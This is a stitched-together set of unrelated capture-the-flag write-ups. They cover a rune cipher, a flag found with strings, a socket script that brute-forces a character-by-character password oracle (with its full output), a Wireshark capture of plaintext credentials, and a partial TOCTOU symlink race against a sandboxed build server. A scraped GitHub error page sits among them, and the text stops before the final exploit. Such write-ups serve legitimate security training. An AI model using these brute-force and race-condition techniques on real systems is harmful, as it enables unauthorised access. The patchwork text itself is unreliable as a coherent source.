EDIT: An exclamation point made it somewhere in there. It's not a rune, just like how the character ? isn't a rune.```bcactf{ᚪᚸᚤᚡᚵᚪᚢᚴᚹᚡᚨᚫᚴᚢᚫᚢᚰᚩᚭᚳᚫ_ᚵᚱᚥᚲᚩᚰᚧᚴᚶᚫᚩᚮᚪᚨᚳᚥᚷᚥᚲᚭᚷᚱᚭ_ᚤᚤᚭᚩᚲᚤᚭᚨᚷᚭᚰᚣᚪᚷᚴᚲᚪᚣᚳᚸᚷᚣᚷᚪᚶᚦᚩᚬᚨᚮᚳᚤ_ᚮᚥᚨᚰᚭᚱᚸᚩᚵᚢᚶᚲᚴᚹᚷᚬᚭᚫᚩᚪᚬᚵᚬᚩᚭᚮᚥᚡᚩᚥᚭᚠ_ᚶᚵᚴᚭᚧᚳᚤᚩᚤᚵᚴᚨᚧᚡᚶᚵᚪᚶᚰᚧᚶᚫᚰᚸᚴᚪᚷᚩᚶ_ᚫᚭᚹᚲᚲᚷᚱᚲᚷᚮᚥᚨᚠᚨᚷᚴᚢᚫᚢᚥᚷᚥ_ᚦᚫᚢᚴᚢᚶᚪᚤᚷᚰᚭᚳᚢᚴᚣᚳᚵᚭᚱ_ᚬᚨᚮᚸᚤᚮᚳᚩᚤᚵᚲᚨᚲᚵᚱᚥᚹᚪᚵᚷ_ᚬᚨᚮᚸᚤᚮᚳᚩᚤᚵᚹᚠᚨᚲᚤᚵᚪᚩᚦᚵᚬᚮᚠᚸᚭᚡᚩᚢᚮᚥᚨ_ᚦᚫᚢᚴᚢᚶᚪᚤᚷᚰᚫᚸᚧᚴᚣᚳᚵᚹᚢᚷ_ᚦᚫᚢᚴᚢᚶᚪᚤᚷᚰᚲᚸᚵᚦᚵᚳᚴᚣᚠᚢ_ᚦᚫᚢᚴᚢᚶᚪᚤᚷᚰᚹᚫᚡᚸᚱᚱᚦᚪᚵᚬᚮᚷᚱᚤᚸᚠᚪᚭ_ᚨᚴᚲᚧᚲᚧᚡᚤᚩᚦᚨᚦᚡᚪᚲᚲᚡ_ᚫᚢᚥᚢᚶᚦᚥᚲᚧᚸᚢᚷᚵᚵᚲᚴ_ᚭᚪᚴᚲᚪᚨᚬᚠᚤᚸᚨᚷᚱᚳ_ᚢᚷᚥᚸᚣᚡᚧᚡᚭᚵᚪᚢᚷᚪᚢᚮᚭᚰᚤ_ᚲᚳᚪᚤᚲᚢᚴᚯᚸᚳᚢᚳᚵᚤᚸ_ᚰᚦᚠᚲᚭᚷᚷᚣᚬᚲᚹᚹᚸᚧᚴᚴᚧᚮᚪᚠᚢ_ᚸᚧᚬᚵᚸᚧᚮᚴᚲᚰᚮ_ᚤᚡᚡᚲᚹᚷᚦᚡᚷᚹᚷᚸᚭᚬᚠ_ᚤᚪᚲᚲᚫᚬᚠᚴᚭᚶᚶᚷᚨᚬᚱᚡᚰᚨᚸ_ᚴᚪᚱᚩᚭᚰᚳᚯᚦᚸᚢᚷᚢᚥᚨᚦᚠ_ᚨᚱᚹᚨᚳᚥᚧᚰᚩᚯᚰᚵᚱᚫᚢ_ᚩᚵᚲᚴᚳᚯᚦᚸᚳᚢᚴᚲᚳᚪᚭᚱᚨᚩ_ᚷᚧᚤᚥᚤᚰᚷᚲᚧᚭᚫᚣᚰᚢᚢᚹᚭᚦᚱᚰᚨ_ᚹᚭᚤᚱᚧᚸᚦᚲᚸᚳᚣᚮᚦᚢᚨᚲ_ᚯᚱᚳᚷᚪᚤᚩᚷᚲᚫᚸᚳᚷᚨᚠᚦᚥᚣᚫᚫ_ᚦᚥᚱᚫᚦᚤᚫᚥᚣᚪᚯᚧᚷᚨᚳᚷᚢᚢᚨᚲᚷᚱᚳᚵᚢᚴᚲᚠᚹᚡᚸᚴᚸᚹᚪᚵᚷᚴᚶᚫᚭᚧᚢᚨᚷᚷᚸᚭᚰᚨᚮᚥᚡᚫᚢᚸᚲᚢᚹ_ᚥᚬᚬᚡᚧᚮᚱᚥᚮᚨᚲᚰᚳᚴᚢᚪᚰᚴᚶᚦᚥᚭᚧᚱᚩ_ᚫᚭᚴᚠᚶᚫᚨᚱᚹᚨᚳᚢᚥᚣᚡᚯᚮ_ᚧᚷᚤᚢᚨᚮᚰᚦᚲᚧᚴᚡᚸᚵᚲ_ᚨᚦᚤᚷᚲᚭᚭᚵᚥ_ᚴᚵᚰᚡᚸᚲᚡᚰᚤᚣᚭᚦᚣᚸᚨ_ᚲᚨᚩᚷᚢᚢᚤᚨᚱᚰᚬᚨᚸᚷᚣᚪ_ᚧᚡᚣᚪᚲᚨᚸᚫᚠᚬᚳᚣᚱᚳᚯ_ᚢᚪᚨᚠᚢᚲᚶᚵᚴᚭᚧᚳᚤᚩᚤᚵᚥᚸᚫ_ᚣᚴᚣᚫᚪᚬᚲᚫᚣᚠᚵᚲᚭᚱᚡᚬᚲ_ᚱᚴᚫᚲᚭᚡᚷᚢᚢᚤᚨᚱᚰᚬᚨᚸᚷᚣᚪ_ᚪᚰᚳᚫᚵᚱᚥᚢᚠᚦᚵᚦᚠᚰᚤᚡᚲᚰᚪᚦᚵᚷ_ᚸᚪᚲᚨᚲᚤᚴᚨᚲᚥᚸᚫᚷᚡᚡ_ᚰᚲᚮᚴᚭᚱᚳᚯᚠᚱᚭᚪᚸᚸᚴᚣᚯᚲᚶ_ᚭᚰᚳᚥᚩᚲᚫᚸᚫᚡᚧ_ᚤᚡᚱᚴᚡᚨᚪᚲᚶ_ᚰᚤᚧᚪᚴᚡᚨᚧᚲᚭᚸᚫᚢᚪᚱᚤᚣᚡᚮᚥᚸᚢᚷᚹᚩᚶᚫᚤ_ᚬᚧᚴᚤᚡᚱᚤᚰᚭᚳᚦ_ᚳᚪᚱᚢᚴᚲᚴᚸᚵᚸ_ᚭᚸᚳᚨᚮᚥᚨᚪᚯᚲᚠᚲᚨᚳᚢ_ᚹᚴᚣᚣᚵᚱᚥᚩᚣᚥᚸᚬᚨᚯᚭ_ᚳᚥᚰᚪᚬᚵᚴᚸᚢᚲᚸᚪᚠ_ᚨᚸᚲᚴᚹᚬᚭᚮᚢᚨᚠᚷᚴᚡᚸᚯᚪᚱᚭᚵᚢᚮᚥᚨᚪᚫᚹᚮᚡᚫᚢᚨᚥᚬᚸᚨᚫᚷᚣᚧᚵᚢᚨᚵᚹᚸᚭᚧᚡᚫᚪᚰᚷᚢᚫᚭᚩᚴᚪᚨᚤᚷᚴᚭᚭᚭ_ᚮᚥᚡᚵᚷᚡᚴᚭᚦᚫᚬᚭᚲᚰᚲᚪᚵᚲᚴᚬᚨᚮᚴᚷᚸᚣᚳᚴᚸᚲᚡᚸᚤᚨᚤᚭᚷᚴᚣᚰᚬᚨᚩᚩᚦᚶᚪᚴ_ᚶᚫᚵᚥᚡᚠᚡᚰᚥᚯᚡᚲᚣᚴᚣᚱᚪᚰᚶᚰᚹᚵᚸᚤᚭᚶᚶᚷᚷᚭᚰ_ᚳᚲᚷᚮᚳᚦᚤᚫᚭᚦᚸᚯᚳᚩᚮᚷᚤᚴᚨᚪᚫᚶᚶᚰᚠᚳᚪᚩᚣ_ᚡᚨᚷᚧᚷᚨᚩᚷᚪᚢᚦᚳᚠᚡᚪᚱᚩᚰᚴᚠᚹᚭᚪᚵᚵᚩᚩᚰᚴᚡᚸᚨᚫᚳᚸᚤᚡᚱᚠᚢᚡᚷ_ᚲᚨᚩᚠᚪᚭᚸᚫᚨᚲᚮᚴᚢᚬᚷᚱᚨᚢᚳᚫᚦᚮᚨᚷᚥᚰᚴᚬᚣᚲᚣᚡᚲᚬᚷᚷᚴᚢᚪᚲᚰᚠᚱᚢ_ᚰᚴᚵᚴᚰᚷᚲᚧᚭᚫᚢᚴᚵᚴᚰᚷᚲᚧᚭᚫᚢᚴᚵᚴᚹᚷᚬᚨᚮᚩᚦᚶᚪᚴᚹᚷᚸᚤᚡ_ᚷᚳᚴᚥᚨᚴᚠᚬᚨᚹᚷᚢᚪᚪᚶᚫᚲᚰᚯᚵᚧᚷᚵᚨᚴᚶᚵᚸᚧᚵᚫᚨᚥᚮᚢ_ᚰᚫᚩᚴᚵᚴᚤᚵᚲᚹᚨᚡᚸᚳᚩᚠᚢᚰᚫᚢᚹᚲᚰᚧᚷᚨᚳᚲᚵᚵᚨᚡᚬᚦᚷᚰᚩᚰᚧ_ᚵᚣᚵᚸᚹᚭᚰᚶᚬᚲᚦᚩᚰᚩᚡᚡᚵᚴᚱᚲᚴᚲᚥᚰᚧᚵᚴᚲᚪᚵᚯᚸᚨᚭᚢᚱᚥᚷ!_ᚵᚲᚹᚨᚳᚯᚭᚦᚤᚸᚪᚵᚬᚮᚳᚮᚭᚲᚳᚢᚥᚱᚲᚨᚸᚭᚳᚲᚰᚨᚱᚵᚵᚨ_ᚲᚣᚴᚢᚨᚳᚤᚥᚭᚥᚬᚫᚴᚲᚤᚩᚦᚴᚡᚨᚵᚸᚧᚡᚳᚲᚢᚩᚲᚶᚳᚮᚶᚵᚪᚦᚤᚴᚡᚨᚰᚲᚯᚡ_ᚢᚷᚮᚧᚰᚹᚢᚣᚱᚥᚰᚢᚴᚲᚹᚨᚯᚲᚨᚱᚱᚦᚪᚷᚶᚦᚷᚬᚭᚧᚤᚲ_ᚨᚦᚷᚣᚴᚣᚡᚸᚢᚦᚬᚪᚢᚰᚳᚡᚸᚣᚨᚡᚱᚵᚴᚠᚯᚲᚨᚩᚰᚶᚪᚷᚠᚠᚫᚱᚭᚭᚵᚸᚰᚳᚹᚹ_ᚷᚲᚥᚱᚷᚡᚨᚲᚥᚣᚨᚸᚷᚵᚩᚷᚩᚥᚹᚪᚫᚲᚸᚸᚢᚪᚭᚫᚡ_ᚤᚸᚯᚶᚵᚪᚶᚪᚵᚹᚫᚫᚭᚱᚴ_ᚢᚷᚱᚱᚦᚨᚣᚱᚧᚰᚠᚣᚨᚷᚥᚹᚭᚩᚴᚴᚰ_ᚢᚵᚥᚴᚸᚵᚸᚭᚧᚱᚷᚥᚷᚰᚭᚸᚬᚨᚭᚧᚠᚹᚴᚶᚦᚧᚰᚹ_ᚱᚸᚪᚭᚷᚥᚣᚰᚠᚴᚡᚹᚠᚤᚸᚰᚧᚸᚫᚱᚫᚬᚡᚰᚧ_ᚶᚤᚸᚯᚵᚡᚨᚡᚮᚥᚨᚪᚧᚰᚬᚡᚸᚵᚱᚩᚶᚦᚵᚸᚮᚦᚴᚲᚰᚤᚴᚶᚫᚱᚨᚩᚨᚲᚶᚢᚭᚠᚨᚷᚳᚲᚹ_ᚦᚦᚥᚬᚹᚨᚸᚴᚩᚧᚮᚦᚢᚨᚭᚯᚠᚴᚧᚳᚵᚱᚸᚫᚨᚵᚰᚤᚡᚰᚶᚥᚷᚩᚠᚯᚮᚢᚱᚩᚢᚷᚨᚦᚨᚧᚰᚬᚡᚩᚳ_ᚨᚮᚰᚦᚰᚸᚴᚪᚠᚪᚭᚢᚴᚣᚴᚦᚥᚦᚷᚸᚧᚨᚬᚫᚫᚱᚢᚫᚩᚪᚬᚴᚡᚨᚴᚯᚠᚡᚩᚥᚸᚥᚨᚦᚠᚲᚨᚩ_ᚷᚴᚰᚷᚴᚦᚫᚸᚠᚰᚠᚴᚸᚳᚳᚲᚪᚸᚯᚵᚪᚡᚦᚡᚢᚫᚭᚩᚴᚸᚢᚠᚤᚣᚨᚲᚲᚪᚳᚢᚰᚢᚨᚤᚢᚴᚭᚢᚴᚢᚫ_ᚰᚪᚮᚭᚠᚧᚷᚪᚡᚧᚪᚸᚲᚴᚶᚸᚯᚫᚥᚫᚢᚲᚵᚹᚹᚲᚬᚷᚡᚱᚪᚯᚲᚹᚲ_ᚪᚸᚯᚵᚪᚡᚦᚡᚢᚫᚭᚩᚴᚸᚢᚠᚤᚣᚨᚲᚲᚪᚳᚢᚰᚢᚨᚤᚢᚴᚭᚢᚴᚢᚫ_ᚦᚶᚲᚴᚪᚭᚶᚪᚡᚹᚪᚩᚵᚲᚴᚵᚵᚭᚪᚨᚷᚲ_ᚵᚠᚫᚬᚮᚥᚵᚪᚥᚴᚴᚠᚧᚫᚫᚡᚲᚰᚪᚣᚩᚢᚨᚠ_ᚬᚠᚪᚨᚢᚶᚥᚫᚠᚲᚬᚠᚵᚵᚢᚧᚷᚭᚰᚷᚰᚹ_ᚣᚨᚠᚴᚨᚥᚣᚨᚮᚲᚲᚳᚰᚴᚥᚤᚧᚴᚮᚡᚲᚨᚷᚦᚴᚭᚦᚭᚠ_ᚡᚧᚤᚩᚩᚲᚢᚴᚬᚰᚮᚢᚱᚪᚯᚲᚱᚠᚧᚡᚡᚲᚧᚷᚭᚱᚣᚪᚭᚨᚧᚷᚨᚵᚤᚸᚢᚪᚥᚩᚱᚥᚵᚴᚥᚷᚥ_ᚸᚠᚰᚨᚸᚵᚷᚪᚸᚦᚩᚠᚩᚮᚮᚫᚰᚪᚮᚭᚠᚧᚷᚪᚡᚧᚪᚸᚲᚴᚶᚸᚯᚫᚥᚫᚢᚲᚵᚹᚹᚲᚬᚷᚡᚱᚪᚯᚲᚹᚲ_ᚳᚦᚳᚲᚴᚷᚪᚩᚷᚣᚴᚩᚧᚵᚪᚸᚴᚱᚶᚤᚩᚬᚨᚰᚨᚵᚲᚦᚹᚣᚵᚮᚥᚡᚪᚩᚦᚲᚹᚭᚡᚰᚮᚲᚹᚠᚤᚸ_ᚶᚮᚭᚯᚧᚲᚨᚷᚦᚤᚷᚮᚡᚱᚦᚴᚭᚷᚹᚥᚨᚴᚠᚶᚴᚰᚳᚲᚪᚴᚡᚡᚨᚥᚮᚴᚰᚨᚥᚢᚴᚹᚳᚨᚴᚪᚳᚯᚪᚢᚠᚡᚬᚵ_ᚡᚧᚤᚩᚩᚲᚢᚴᚬᚰᚮᚢᚰᚪᚭᚮᚡᚷᚳᚦᚲᚭᚵᚣᚪᚳᚱᚱᚡᚰᚷᚸᚢᚷᚭᚷᚥᚨᚡᚫᚤᚵᚪᚩᚦᚵᚬᚮᚬᚸᚳᚷ_ᚷᚴᚰᚷᚴᚦᚫᚸᚠᚰᚠᚴᚸᚳᚳᚲᚪᚸᚯᚵᚪᚡᚦᚡᚢᚫᚭᚩᚴᚸᚢᚠᚤᚣᚨᚲᚲᚪᚳᚢᚰᚢᚨᚤᚢᚴᚭᚢᚴᚢᚫ_ᚰᚪᚮᚭᚠᚧᚷᚪᚡᚧᚪᚸᚲᚴᚶᚸᚯᚫᚥᚫᚢᚲᚵᚹᚹᚲᚬᚷᚡᚱᚪᚯᚲᚹᚲ_ᚬᚸᚳᚷᚧᚪᚸᚲᚴᚶᚸᚯᚷᚵᚩᚷᚷᚪᚰᚦᚧᚰᚬᚡᚩᚳ_ᚵᚲᚵᚣᚴᚡᚠᚤᚨᚣᚰᚢᚢᚹᚷᚲᚨᚠᚪᚳᚷᚱᚰᚪᚲᚮᚡᚰᚨᚡᚰᚬᚢᚪᚯ_ᚦᚳᚲᚠᚪᚭᚪᚢᚡᚡᚨᚴᚴᚳᚳ_ᚴᚲᚲᚷᚵᚸᚢᚥᚰᚣᚮᚤᚶᚦᚠᚮᚱᚢᚨᚳᚷ_ᚥᚯᚡᚬᚮᚥᚱᚰᚳᚪᚷᚭᚠᚥᚣᚵᚵᚩᚩᚰᚧ_ᚰᚲᚠᚤᚵᚬᚢᚥᚢᚪᚩᚱᚥᚧᚫᚷᚫᚴᚩᚶᚩᚡᚷᚭᚦᚩ}```NOTE: This problem does not share a key with runescape-1.
## Solution
Like runescape-1, there are 26 shapes of runes. One for each lowercase letter.
In the first hint, the crib is ```werenostrangerstolove_youknow```, it's the lyrics of legendary [Never gonna give you up](https://www.youtube.com/watch?v=dQw4w9WgXcQ).
The lyrics until first chorus ends have a perfect match in the length with the encrpyted message, so I extended the crib to:
```werenostrangerstolove_youknowtherulesandsodoi_afullcommitmentswhatimthinkingof_youwouldntgetthisfromanyotherguy_ijustwannatellyouhowimfeeling_gottamakeyouunderstand_nevergonnagiveyouup_nevergonnaletyoudown_nevergonnarunaroundanddesertyou_nevergonnamakeyoucry_nevergonnasaygoodbye_nevergonnatellalieandhurtyou_```
I noticed that the first, fourth, and fifth ```nevergonna``` are all encoded to ```wjfgfsacuk``` (or ```ᚦᚫᚢᚴᚢᚶᚪᚤᚷᚰ``` in the rune).
The first and fourth are separated by 70 words (not counting ```_```), and the fourth and fifth are separeted by 20 words.
So the key is likely be 10 words long.
I recorded 10 mapping of the encrpyted characters to crib characters in the [script](runescape-2.py).
And after the crib, I recovered the characters that have mapping beforehand. The rest are replaced by ```?```.
After first run, the output is: (after the crib)
```?tslateand??awa?e_starin?att?ewal?_o?e?u?my??ndow_?ea??allsoutthedo?r_.......```
Google that, the next song is famous meme [shooting star](https://www.youtube.com/watch?v=HrO9-j_zALg).
Fill in the length-matching lyrics again, and fill in the unknown words until all ```?``` are gone.
The lyrics including [It's Muffin Time!](https://www.youtube.com/watch?v=cGzujGfXrlI), [SOS](https://www.youtube.com/watch?v=kBU3RuqQkns). And the other can be judged by the context.
After all time-consuming work, I finally got the flag:
```bcactf{werenostrangerstolove_youknowtherulesandsodoi_afullcommitmentswhatimthinkingof_youwouldntgetthisfromanyotherguy_ijustwannatellyouhowimfeeling_gottamakeyouunderstand_nevergonnagiveyouup_nevergonnaletyoudown_nevergonnarunaroundanddesertyou_nevergonnamakeyoucry_nevergonnasaygoodbye_nevergonnatellalieandhurtyou_itslateandimawake_staringatthewall_openupmywindow_headfallsoutthedoor_nooneelsearound_andashimmertakesmyeye_iliftmyhead_blindedbythesky_feelmyweightinfront_followingthesound_movesawaysofast_fallingtotheground_iknowwhatismoretocome_jumpbacktomyfeet_nowionlyseeaheadofme_chasingdownthestreetdownthestreetdownthestreetdownthestreet_givemylovetoashootingstar_butshemovessofast_thaticantkeepup_imchasing_haaaaaimamuffin_anditsmuffintime_whowantsamuffin_pleaseijustwannadie_heysomebodykillme_pleaseitsmuffintime_haveyouhadamuffintoday_iwannadiediedie_trytofindawordtosay_itsallmagic_alltheway_makethelaststepworththeclimb_itsallmagic_allthetime_stopyoursadness_stopyourmadness_automatically_prettysureatthispointyourequestioningmymusictastesoonemorelefttogo_thenextoneisntreallymusicbutitllbefuntofindright_heyheylookatheylookatmerightnow_iamgoingonanadventurebymyself_andthentheniwillnotstopfornothingatallyeah_andyoudbetterbelievecuzigotnothinbettertodah_whatwhatisthatwhatisthatthingrightthere_ishouldinvitehimtocomewithmetospace_wereoffwerereadytogettothespacerightnow_comewithmemyfriendletsgotofreakinspace!_wereinspaceanditsnotapleasantplace_theresnooxygenandthemeteorsllhityouintheface_heywatchouttheresanalieninhiscar_ifyouhithimhewillyellatusandthensueusincourt_hahailiedonemoreforrealthough_canyouhearmesos_helpmeputmymindtorest_twotimescleanagainimactinlow_apoundofweedandabagofblow_icanfeelyourlovepullinmeupfromtheundergroundand_idontneedmydrugswecouldbemorethanjustparttimelovers_icanfeelyourtouchpickinmeupfromtheundergroundand_idontneedmydrugswecouldbemorethanjustparttimelovers_wecouldbemorethanjustparttimelovers_wecouldbemorethanjustparttimelovers_igetrobbedofallmysleep_asmythoughtsbegintobleed_idletgobutidontknowhow_yeahidontknowhowbutineedtonow_icanfeelyourlovepullinmeupfromtheundergroundand_idontneedmydrugswecouldbemorethanjustparttimelovers_icanfeelyourtouchpickinmeupfromtheundergroundand_idontneedmydrugswecouldbemorethanjustparttimeloversayy_icanfeelyourtouchpickinmeupfromtheundergroundandyeah_idontneedmydrugswecouldbemorethanjustparttimelovers_wecouldbemorethanjustparttimelovers_yeahmorethanmorethanlovers_wecouldbemorethanjustparttimelovers_canyouhearmesos_helpmeputmymindtorest_okaythatsenoughfornow_asdffkhgshjfgkjhsdfkjahsgd}``` |
# Enter Space-Time Coordinates```Ok well done. The console is on. It's asking for coordinates. Beating heavily on the console yields little results, but the only time anything changes on your display is when you put in numbers.. So what numbers are you going to go for? You see the starship's logs, but is there a manual? Or should you just keep beating the console?```[file.zip](file.zip)
Got 2 files: `log.txt`, `rand2`
Running `rand2`:```./rand2 Travel coordinator0: AC+79 3888 - 41701763051361, 885858312204391: Pliamas Sos - 84711225284807, 1717106243222462: Ophiuchus - 121414305711331, 1392244149511683: Pax Memor -ne4456 Hi Pro - 174720103051690, 144636543346974: Camion Gyrin - 121463846115170, 1960188125189065: CTF - <REDACTED>
Enter your destination's x coordinate:>>> 2Enter your destination's y coordinate:>>> 3Arrived somewhere, but not where the flag is. Sorry, try again.```Running `strings` command found the flag!```# strings rand2 | grep CTFArrived at the flag. Congrats, your flag is: CTF{welcome_to_googlectf}```
## Flag> CTF{welcome_to_googlectf} |
# basic-pass-3 (200)
## Problem
Ok, the sysadmin finally admits that maybe authentication should happen on a server. Can you just check everything really quick to make sure there aren't any problems now? He put some readouts for people who forget their passwords.
```nc challenges.ctfd.io 30133```
## Solution
This is a pretty simple bruteforce challenge, but not in the way that you'd expect. Observe the following behaviour.
```$ nc challenges.ctfd.io 30133welcome to the login portal.Enter the password.bcactf{11111110000000000000000000000000000000Enter the password.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa00100000000000000000000000000000000000```
When correct characters are inputted, it shows up as a 1. If it's wrong, it's a 0. All we need to do is just constantly check to see which characters return a 1, and which ones return a 0, and then form a flag based off of that. Here's a script I wrote to solve this.
```python3#!/usr/bin/env python3
import socketimport string
def main():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: # Getting some info. s.connect(("challenges.ctfd.io", 30133)) s.recv(1024); s.recv(1024); s.send(b"\n") length = len(s.recv(1024)) flag = ["" for i in range(length)] s.send(b"\n"); s.recv(1024)
# Bruting the flag. for character in string.printable[:-5]: s.send(((character * length) + "\n").encode()) msg = s.recv(1024).decode("utf-8").split("\n")[0] print(character, msg) for i in range(len(msg)): if msg[i] == "1": flag[i] = character
print("".join(flag))
if __name__ == "__main__": main()```
Here it is in action.
```$ ./solve.py 0 000000001000000000000000000000000000001 000000000000000000000000100000000000002 000000000000000000000000000000000000003 000000000000010000000100000000000000004 000000000001000100100000000000000000005 000000000000000000010000000000000000006 000000000000000000000000000000000000007 000000000000000000001000000000000000008 000000000000000000000000000000000000009 00000000000000000000000000000001000000a 00100000000000000000000000000000000000b 10000000000000000000000000000000010000c 01010000000000000000000000000000000000d 00000000000000000000000000000000000000e 00000000000000000000000000000000000000f 00000100000000000000000000000000000000g 00000000000000000000000000000000000000h 00000000000000000000000000000000000000i 00000000000000000000000000000000000000j 00000000000000000000000000000000000000k 00000000000000000000000000000000000000l 00000000000000000000000000000000000100m 00000000000000000100000100000010000000n 00000000000000000000000001000000000000o 00000000000000000000000000000000000000p 00000000000000000000000000000000000000q 00000000000000000000000000000000000000r 00000000000010000000001000000000000000s 00000000000000000000000000000000000000t 00001000000000000000000000000000000000u 00000000010000000000000000000000000010v 00000000000000000000000000000000100000w 00000000000000000000000000000000000000x 00000000000000000000000000000000000000y 00000001000000000000000000000000000000z 00000000000000000000000000000000000000A 00000000000000000000000000000000000000B 00000000000000000000000000000000000000C 00000000000000000000000000000000000000D 00000000000000000000000000100000000000E 00000000000000000000000000000000000000F 00000000000000000000000000000000000000G 00000000000000000000000000000000001000H 00000000000000000000000000000000000000I 00000000000000000000000000000000000000J 00000000000000000000000000000000000000K 00000000000000000000000000000000000000L 00000000000000000000000000000000000000M 00000000000000000000000000000000000000N 00000000000000000000000000000000000000O 00000000000000000000000000000000000000P 00000000000000000000000000000000000000Q 00000000000000000000000000000000000000R 00000000000000000000000000000000000000S 00000000000000000000000000000000000000T 00000000000000000000000000000000000000U 00000000000000000000000000000000000000V 00000000000000000000000000000000000000W 00000000000000000000000000000000000000X 00000000000000000000000000000000000000Y 00000000000000000000000000000100000000Z 00000000000000000000000000000000000000! 00000000000000000000000000010000000000" 00000000000000000000000000000000000000# 00000000000000000000000000000000000000$ 00000000000000000000000000000000000000% 00000000000000000000000000000000000000& 00000000000000000000000000000000000000' 00000000000000000000000000000000000000( 00000000000000000000000000000000000000) 00000000000000000000000000000000000000* 00000000000000000000000000000000000000+ 00000000000000000000000000000000000000, 00000000000000000000000000000000000000- 00000000000000000000000000000000000000. 00000000000000000000000000000000000000/ 00000000000000000000000000000000000000: 00000000000000000000000000000000000000; 00000000000000000000000000000000000000< 00000000000000000000000000000000000000= 00000000000000000000000000000000000000> 00000000000000000000000000000000000000? 00000000000000000000000000000000000000@ 00000000000000000000000000000000000000[ 00000000000000000000000000000000000000\ 00000000000000000000000000000000000000] 00000000000000000000000000000000000000^ 00000000000000000000000000000000000000_ 00000000001000101000000000001000000000` 00000000000000000000000000000000000000{ 00000010000000000000000000000000000000| 00000000000000000000000000000000000000} 00000000000000000000000000000000000001~ 00000000000000000000000000000000000000bcactf{y0u_4r3_4_m4573rm1nD!_Ym9vbGlu}``` |
<html> <head> <meta content="origin" name="referrer"> <title>Internal server error · GitHub</title> <meta name="viewport" content="width=device-width"> <style type="text/css" media="screen"> body { background-color: #f6f8fa; color: rgba(0, 0, 0, 0.5); font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol; font-size: 14px; line-height: 1.5; } .c { margin: 50px auto; max-width: 700px; text-align: center; padding: 0 24px; } a { text-decoration: none; } a:hover { text-decoration: underline; } h1 { color: #24292e; line-height: 60px; font-size: 48px; font-weight: 300; margin: 0px; } p { margin: 20px 0 40px; } #s { margin-top: 35px; } #s a { color: #666666; font-weight: 200; font-size: 14px; margin: 0 10px; } </style> </head> <body> <div class="c"> <h1>Whoops, something went wrong!</h1> We track these errors automatically, but if the problem persists feel free to contact us. In the meantime, try refreshing. <div id="s"> Contact Support — GitHub Status — @githubstatus </div> </div> </body></html>
We track these errors automatically, but if the problem persists feel free to contact us. In the meantime, try refreshing. |

The challenge initally provides us with a binary `init_sat` that provides this output:
```Hello Operator. Ready to connect to a satellite?Enter the name of the satellite to connect to or 'exit' to quit>>>```
Using the `README.pdf` document provided we can get the name to enter `osmium` as it is written on the picture of the satellite.

That gives us a link to a GDoc with a `base64` string:```VXNlcm5hbWU6IHdpcmVzaGFyay1yb2NrcwpQYXNzd29yZDogc3RhcnQtc25pZmZpbmchCg==```
This gives us some credentials:```Username: wireshark-rocksPassword: start-sniffing!```
This is effectively a hint to capture traffic using `Wireshark`.
Using `strace` we can see that connections are occurring with the binary
```strace -f -e trace=network ./init_sat ```
```[..][pid 11528] getpeername(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("34.76.101.29")}, [112->16]) = 0[..]```
We get some connections over TCP to the ip address `34.76.101.29`
We'll use this in the filter for `Wireshark` to reduce the results
Using the filter we can see the `TCP Handshake` occuring between our client and the server

On further inspection of the packets we can see the `username` and `password` has been transfered in plain text!
The communication between this address is visible and we can see the flag
```[..]0040 4c 26 86 d1 55 73 65 72 6e 61 6d 65 3a 20 62 72 L&..Username: br0050 65 77 74 6f 6f 74 20 70 61 73 73 77 6f 72 64 3a ewtoot password:0060 20 43 54 46 7b 34 65 66 63 63 37 32 30 39 30 61 CTF{4efcc72090a0070 66 32 38 66 64 33 33 61 32 31 31 38 39 38 35 35 f28fd33a211898550080 34 31 66 39 32 65 37 39 33 34 37 37 66 7d 09 31 41f92e793477f}.1[..]```
FLAG:```CTF{4efcc72090af28fd33a2118985541f92e793477f}``` |
DevMaster 8000 and DevMaster 8001 were sandbox challenges on Google CTF 2019 quals.
The gist is it provided a compilation service over an asynchronous binary protocol. User can upload files, run arbitrary commands, and fetch files.
I solved both parts of the task using TOCTOU symlink attack, which is likely an unintended solution. The unmodified exploit written for the first part worked for the second one.
## Overview
The following commands are available:* **Build**. Takes a command to run, and list of tuples `(filename, file_contents)`. The server creates a temporary build directory, puts all the files in there, and runs a command. For example, you can send a set of C sources, and run `gcc main.c`. You can also run just compiled binary as well: `gcc main.c && ./a.out`.* **Fetch**. Downloads a specified file from the build directory. Legitimate user would probably use this to download build artifacts.* **Admin**. Starts admin panel binary.* **Stdin**. Used to pass input to the build or admin panel process.
The server asynchronously sends events to the client as well:* **Stdout**. Build or admin panel stdout.* **Stderr**. Likewise for stderr.* **Exited**. When build process or admin panel exits.* **Fetched**. Response to successful **Fetch** command. Contains file contents.* **ServerError**. I never checked when it happens.
The admin panel binary asks for a password, and if it's correct, opens a flag and returns it. The password is stored in hashed form, so it's unlikely it can be recovered. Besides, remote server binary might have had a different password than the one in attached sources.
The build process runs in a sandbox under one of the `sandbox-runner-0`..`sandbox-runner-7` users which lacks permissions to read the flag, so you can't submit and run binary reading the flag.
The **Fetch** command, however, runs under root user without impersonating the sandbox user. But it has a `realpath`-based check that ensured that the file path resolves to a path in build directory, preventing absolute paths, path traversals and symlink attacks (spoiler: not quite).
Additionally, the server is asynchronous, and can execute **Fetch** when **Build** is running.
## Vulnerability
Let's take a closer look at **Fetch** command implementation.
```c++ std::unique_ptr<char> real_path(realpath((dir + file).c_str(), nullptr)); if (string(real_path.get()).substr(0, dir.size()) != dir) { SendServerError(string("Filenames must point to within the working directory, ") + dir + string(". Attempted to fetch file with absolute path ") + real_path.get()); return; }
ifstream infile(real_path.get()); if (!infile.is_open()) { SendServerError(string("Failed to open file ") + real_path.get() + string(": ") + strerror(errno)); } string body = ReadFile(infile); ``` Although this code attempts to resolve symlinks to prevent symlink attacks, imagine what happens if regular file becomes a symlink after the check, but before opening the file. It will happily open a symlink. A classic TOCTOU bug. ## Exploit
We can abuse the asynchronous behaviour of the server by sending a code that repeatedly exchanges regular file with symlink, and while it's running, trying to execute the **Fetch** command.
